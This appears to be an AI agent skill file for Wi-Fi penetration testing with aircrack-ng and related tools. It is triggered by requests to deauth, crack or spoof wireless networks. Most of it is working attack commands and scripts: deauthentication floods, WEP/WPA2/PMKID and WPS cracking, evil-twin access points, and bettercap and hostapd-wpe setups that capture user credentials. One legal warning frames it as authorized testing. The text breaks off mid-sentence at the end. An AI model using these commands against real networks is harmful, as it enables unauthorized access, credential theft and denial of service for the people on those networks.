| name | wireless-security-wifi-pentesting |
| description | Expertise in Wi-Fi penetration testing using aircrack-ng, monitor mode, WEP/WPA/WPA2/WPA3 cracking, and wireless security assessment. |
| triggers | ["how do I capture WPA handshakes with aircrack-ng","put my wireless adapter in monitor mode","crack WEP encryption","perform a deauth attack on wifi","capture PMKID for WPA2 cracking","set up an evil twin access point","test wireless network security","use airodump-ng to scan for networks"] |
Wireless Security & WiFi Penetration Testing
Skill by ara.so — Security Skills collection.
This skill provides expertise in wireless security assessment and Wi-Fi penetration testing using the aircrack-ng suite and related tools on Kali Linux. It covers 802.11 protocol analysis, monitor mode setup, WEP/WPA/WPA2/WPA3 attacks, rogue AP deployment, and enterprise wireless assessment.
Project Overview
The Wireless Security & WiFi Penetration Testing project is a comprehensive, hands-on curriculum covering:
- 802.11 standards and wireless fundamentals
- Monitor mode and packet injection setup
- Wireless reconnaissance and traffic analysis
- WEP cracking (multiple attack vectors)
- WPA/WPA2 handshake capture and cracking
- PMKID attacks (handshake-less)
- WPA3 and advanced attacks (KRACK, Dragonblood)
- Rogue access points and evil twin attacks
- Enterprise WPA (EAP/RADIUS) assessment
- Wireless hardening and defense
⚠️ Legal Warning: All techniques must only be used on networks you own or have explicit written authorization to test. Unauthorized wireless attacks are illegal.
Hardware Requirements
Wireless Adapters
You need an injection-capable wireless adapter. Built-in laptop Wi-Fi cards typically don't support monitor mode or packet injection.
Recommended chipsets:
- Atheros AR9271 (TP-Link TL-WN722N v1, Alfa AWUS036NHA)
- Ralink RT3070/RT5372 (Alfa AWUS036NH, Panda PAU09)
Critical: Only TP-Link TL-WN722N version 1 has the Atheros chipset. V2/V3 use Realtek and don't support injection reliably.
Test Environment
- 1-2 wireless adapters (one for capture, one optional for rogue AP)
- Test access point you own (with WEP/WPA/WPA2 configured)
- Client device(s) for testing
- Kali Linux (bare-metal or VM with USB passthrough)
Installation & Setup
Core Tools (Pre-installed on Kali)
sudo apt update
sudo apt install aircrack-ng
sudo apt install wireless-tools iw
sudo apt install hashcat hcxtools hcxdumptool
sudo apt install reaver bully
sudo apt install hostapd dnsmasq
sudo apt install wireshark tcpdump bettercap
sudo apt install kismet
Verify Adapter Capabilities
iwconfig
iw list | grep -A 10 "Supported interface modes"
iw list | grep -A 10 "Supported commands"
Monitor Mode Setup
Enable Monitor Mode
iwconfig
sudo airmon-ng check kill
sudo airmon-ng start wlan0
iwconfig
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
Test Packet Injection
sudo aireplay-ng --test wlan0mon
sudo aireplay-ng --test -a <AP_MAC> wlan0mon
Disable Monitor Mode
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager
Wireless Reconnaissance
Basic Network Scanning
sudo airodump-ng wlan0mon
sudo airodump-ng -c 6 wlan0mon
sudo airodump-ng --band abg wlan0mon
sudo airodump-ng --band a wlan0mon
sudo airodump-ng --band bg wlan0mon
Targeted Reconnaissance
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
sudo airodump-ng --essid "TargetNetwork" wlan0mon
sudo airodump-ng --showack wlan0mon
Discover Hidden SSIDs
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w hidden wlan0mon
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
WEP Attacks
Passive WEP Cracking
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture wlan0mon
aircrack-ng wep_capture-01.cap
aircrack-ng -b AA:BB:CC:DD:EE:FF wep_capture-01.cap
Active WEP Cracking (Fake Authentication)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_active wlan0mon
sudo aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon
sudo aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon
aircrack-ng -b AA:BB:CC:DD:EE:FF wep_active-01.cap
WEP Chop-Chop Attack
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w chopchop wlan0mon
sudo aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon
sudo aireplay-ng --chopchop -b AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon
sudo packetforge-ng --arp -a AA:BB:CC:DD:EE:FF -h <YOUR_MAC> -k 255.255.255.255 -l 255.255.255.255 -y <XOR_FILE> -w forged.cap
sudo aireplay-ng --interactive -r forged.cap wlan0mon
aircrack-ng chopchop-01.cap
WPA/WPA2 Handshake Capture
Capture WPA Handshake
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wpa_capture wlan0mon
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c <CLIENT_MAC> wlan0mon
aircrack-ng wpa_capture-01.cap
Crack WPA/WPA2 PSK
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF wpa_capture-01.cap
aircrack-ng -w wordlist.txt -e "NetworkName" wpa_capture-01.cap
aircrack-ng wpa_capture-01.cap
crunch 8 8 -t pass@@@@ -o wordlist.txt
hcxpcapngtool -o hash.hc22000 wpa_capture-01.cap
hashcat -m 22000 -a 0 hash.hc22000 /usr/share/wordlists/rockyou.txt
hashcat -m 22000 -a 0 hash.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 22000 hash.hc22000 --show
PMKID Attack (Handshake-less WPA2)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng
hashcat -m 22000 -a 0 pmkid.hc22000 /usr/share/wordlists/rockyou.txt
hcxpcaptool -z pmkid.16800 pmkid.pcapng
hashcat -m 16800 -a 0 pmkid.16800 wordlist.txt
WPS Attacks
WPS PIN Brute Force
wash -i wlan0mon
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 2 -T 0.5
sudo bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1
Denial of Service Attacks
Deauthentication Attack
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c <CLIENT_MAC> wlan0mon
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
sudo mdk3 wlan0mon b -a
sudo mdk3 wlan0mon d -c 6
Rogue Access Point / Evil Twin
Basic Evil Twin with hostapd
cat > evil_twin.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=0
EOF
sudo hostapd evil_twin.conf
Evil Twin with WPA2
cat > evil_wpa2.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorporateWiFi
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=password123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
rsn_pairwise=CCMP
EOF
sudo hostapd evil_wpa2.conf
Evil Twin with Internet Sharing
cat > /tmp/dnsmasq.conf << 'EOF'
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
EOF
sudo ip addr add 10.0.0.1/24 dev wlan0
sudo ip link set wlan0 up
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo dnsmasq -C /tmp/dnsmasq.conf -d
sudo hostapd evil_twin.conf
Automated Evil Twin with wifiphisher
sudo apt install wifiphisher
sudo wifiphisher -i wlan0 -e "TargetNetwork"
sudo wifiphisher -i wlan0 -e "TargetNetwork" -p firmware-upgrade
Capture Credentials with bettercap
cat > evil.cap << 'EOF'
set wifi.ap.ssid FreeWiFi
set wifi.ap.bssid <SPOOF_MAC>
set wifi.ap.channel 6
set wifi.ap.encryption false
set net.sniff.verbose true
set net.sniff.local true
wifi.recon on
wifi.ap
net.sniff on
http.proxy on
https.proxy on
EOF
sudo bettercap -iface wlan0 -caplet evil.cap
WPA3 Attacks
Dragonblood (SAE Downgrade)
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
cd hostapd-wpe
make
cat > wpa3_test.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=TestWPA3
hw_mode=g
channel=6
wpa=2
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
sae_password=testpassword
ieee80211w=2
EOF
sudo ./hostapd wpa3_test.conf
PMKID on WPA3
sudo hcxdumptool -i wlan0mon -o wpa3_pmkid.pcapng --enable_status=1 --filterlist_ap=targets.txt --filtermode=2
hcxpcapngtool -o wpa3.hc22000 wpa3_pmkid.pcapng
hashcat -m 22000 -a 0 wpa3.hc22000 wordlist.txt
Enterprise WPA (802.1X / RADIUS)
Capture EAP Credentials
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w eap_capture wlan0mon
sudo hostapd-wpe hostapd-wpe.conf
cat > hostapd-wpe.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorpNet
channel=6
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
auth_algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=
dh_file=/etc/hostapd-wpe/certs/dh
EOF
cat > hostapd.eap_user << 'EOF'
* PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "t" [2]
EOF
Crack EAP Hashes
asleap -C <challenge> -R <response> -W wordlist.txt
hashcat -m 5500 -a 0 mschapv2.hash wordlist.txt
Traffic Analysis
Analyze Captured Packets
wireshark capture-01.cap
tshark -r capture-01.cap -Y "eapol"
tshark -r capture-01.cap -Y "eapol" -w handshake.cap
tshark -r capture-01.cap -q -z io,stat,1
tshark -r capture-01.cap -q -z wlan,stat
Wireless Hardening Checks
Scan for Vulnerabilities
wash -i wlan0mon
sudo airodump-ng wlan0mon | grep -E "WEP|WPA "
sudo airodump-ng wlan0mon --showack
sudo airodump-ng -c 6 wlan0mon -w baseline
Test Management Frame Protection (802.11w)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
Configuration Files
Common aircrack-ng Options
export AIRCRACK_NG_KEY_PATH=/path/to/wordlists
export AIRCRACK_NG_DEBUG=1
Wordlist Locations
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/rockyou.txt.gz
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
git clone https://github.com/danielmiessler/SecLists.git
Troubleshooting
Adapter Not Entering Monitor Mode
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo iw dev wlan0 set monitor control
sudo ip link set wlan0 up
iwconfig wlan0
iw dev wlan0 info
dmesg | tail -n 50
Injection Test Fails
iw list | grep -A 10 "Supported commands"
sudo iw reg set US
iw reg get
sudo iw dev wlan0mon set channel 6
sudo aireplay-ng --test wlan0mon
lsusb
No Handshake Captured
sudo airodump-ng -c <AP_CHANNEL> --bssid <AP_MAC> -w capture wlan0mon
sudo aireplay-ng --deauth 20 -a <AP_MAC> wlan0mon
sudo aireplay-ng --deauth 20 -a <AP_MAC> -c <CLIENT_MAC> wlan0mon
tshark -r capture-01.cap -Y eapol
aircrack-ng capture-01.cap
Aircrack-ng Shows No Networks
ls -lh capture-01.cap
tshark -r capture-01.cap | head
sudo airodump-ng -c 6 -w new_capture wlan0mon
Cracking Takes Forever
hcxpcapngtool -o hash.hc22000 capture-01.cap
hashcat -m 22000 -a 0 hash.hc22000 -w 3 wordlist.txt
hashcat -m 22000 -b
hashcat -m 22000 hash.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 22000 -a 3 hash.hc22000 ?d?d?d?d?d?d?d?d
hostapd Fails to Start
sudo airmon-ng check kill
sudo systemctl stop NetworkManager
sudo ip link set wlan0 up
sudo hostapd -dd hostapd.conf
iw list | grep -A 20 "Frequencies"
sudo lsof | grep wlan0
Evil Twin Not Visible to Clients
sudo macchanger -m <TARGET_MAC> wlan0
sudo airodump-ng wlan0mon
sudo iw dev wlan0 set txpower fixed 2000
sudo aireplay-ng --deauth 0 -a <LEGIT_AP_MAC> wlan0mon
Common Patterns
Complete WPA2 Assessment Workflow
#!/bin/bash
INTERFACE="wlan0mon"
TARGET_BSSID="AA:BB:CC:DD:EE:FF"
TARGET_CHANNEL="6"
OUTPUT_PREFIX="target_capture"
WORDLIST="/usr/share/wordlists/rockyou.txt"
sudo airmon-ng start wlan0
sudo airodump-ng -c "$TARGET_CHANNEL" --bssid "$TARGET_BSSID" \
-w "$OUTPUT_PREFIX" "$INTERFACE" &
AIRODUMP_PID=$!
sleep 10
sudo aireplay-ng --deauth 10 -a "$TARGET_BSSID" "$INTERFACE"
sleep 5
kill $AIRODUMP_PID
if aircrack-ng "${OUTPUT_PREFIX}-01.cap" | grep -q "1 handshake"; then
echo "[+] Handshake captured!"
hcxpcapngtool -o hash.hc22000 "${OUTPUT_PREFIX}-01.cap"
hashcat -m 22000 -a 0 hash.hc22000 "$WORDLIST" -w 3
hashcat -m 22000 hash.hc22000 --show
airmon-ng stop
Automated PMKID Capture and Crack
#!/bin/bash
INTERFACE="wlan0mon"
OUTPUT="pmkid_capture"
WORDLIST="/usr/share/wordlists/rockyou.txt"
sudo airmon-ng start wlan0
timeout 120 sudo hcxdumptool -i "$INTERFACE" -o "${OUTPUT}.pcapng" \
--enable_status=1
hcxpcapngtool -o "${OUTPUT}.hc22000" "${OUTPUT}.pcapng"
hashcat -m 22000 -a 0 "${OUTPUT}.hc22000" "$WORDLIST" -w 3
hashcat -m 22000 "${OUTPUT}.hc22000" --show
sudo airmon-ng stop "$INTERFACE"
Multi-Channel Hopping Recon
#!/bin/bash
INTERFACE="wlan0mon"
OUTPUT="full_recon"
DURATION=10
sudo airmon-ng start wlan0
for channel in 1 2 3 4 5 6 7 8 9 10 11; do
echo "[*] Scanning channel $channel"
timeout "$DURATION" sudo airodump-ng -c "$channel" \
-w "${OUTPUT}_ch${channel}" "$INTERFACE"
done
mergecap -w "${OUTPUT}_merged.cap" ${OUTPUT}_ch*.cap
echo "[+] Recon complete. Analyze with:"
echo " wireshark ${OUTPUT}_merged.cap"
sudo airmon-ng stop "$INTERFACE"
Best Practices
- Always get written authorization before testing any wireless network
- Isolate your test lab - use low TX power and RF shielding
- Take snapshots before each attack in case you need to revert
- Test injection before starting attacks - save time debugging
- Use hashcat for cracking whenever possible - much faster than aircrack-ng
- Monitor airodump output - ensure you're capturing target traffic
- Document everything - channels, BSSIDs, client MACs, timestamps
- Clean up - disable monitor mode and restart NetworkManager when done
- Use wordlists strategically - start with common passwords, then expand
- **Understand the protocol